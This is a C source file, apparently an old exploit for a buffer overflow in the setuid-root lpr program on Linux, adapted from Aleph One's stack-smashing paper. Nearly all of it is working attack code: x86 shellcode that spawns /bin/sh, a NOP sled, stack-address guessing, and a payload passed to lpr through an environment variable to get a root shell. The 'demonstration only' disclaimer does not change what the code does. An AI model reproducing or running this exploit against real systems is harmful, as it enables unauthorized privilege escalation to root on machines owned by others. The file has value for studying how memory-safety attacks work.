/*
 * lpr_exploit.c - Buffer overflow exploit for the lpr program.
 * Adapted from code found in "stack smashing..." by Aleph One
 *                                      aleph1@underground.org
 *
 * "wisdom is knowledge passed from one to another",  Thanks
 * Aleph1
 *
 * This program takes  advantage of the buffer  overflow condition
 * preset in lpr program.  This program is meant as  demonstration
 * only,  and the  author claims  no resposibility  for its use or
 * misuse.  - a42n8k9
 */

#include <stdlib.h>

#define DEFAULT_OFFSET  1023
#define DEFAULT_BUFFER_SIZE 2289
#define NOP 0x90

/*
 * The hex representation of the code to produce an interactive shell.
 * Oviously since this is for a Linux Box, you may need to generate the
 * right set for your OS if you are porting this to another UNIX system.
 */

char shellcode [] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void)
{
  __asm__("mov %esp,%eax");
}

void main(int argc, char *argv[])
{
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  /* set aside the memory for our shell code */
  if (!(buff = malloc(bsize)))
    {
      printf("Can't allocate memory.\n");
      exit(0);
    }

  /* Get the address of our stack pointer */
  addr = get_sp() - offset;

  /* fill our buffer with its address */
  ptr = buff;
  addr_ptr = (long *)ptr;
  for(i = 0; i<bsize; i+=4)
    *(addr_ptr++) = addr;

  /* fill the first half of the buffer with NOPs */
  for(i=0;i<bsize/2;i++)
    buff[i] = NOP;

  /* add in our shell code */
  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for(i=0;i<strlen(shellcode);i++)
    *(ptr++) = shellcode[i];

  /* terminate the string */
  buff[bsize - 1] = '\0';

  /* load the string into an environment variable */
  memcpy(buff,"EGG=",4);
  putenv(buff);

  /*
   * execute the shell command, thus exploiting the overflow
   * since lpr is suid root, a root shell will be spawned
   */

  system("lpr $EGG");
}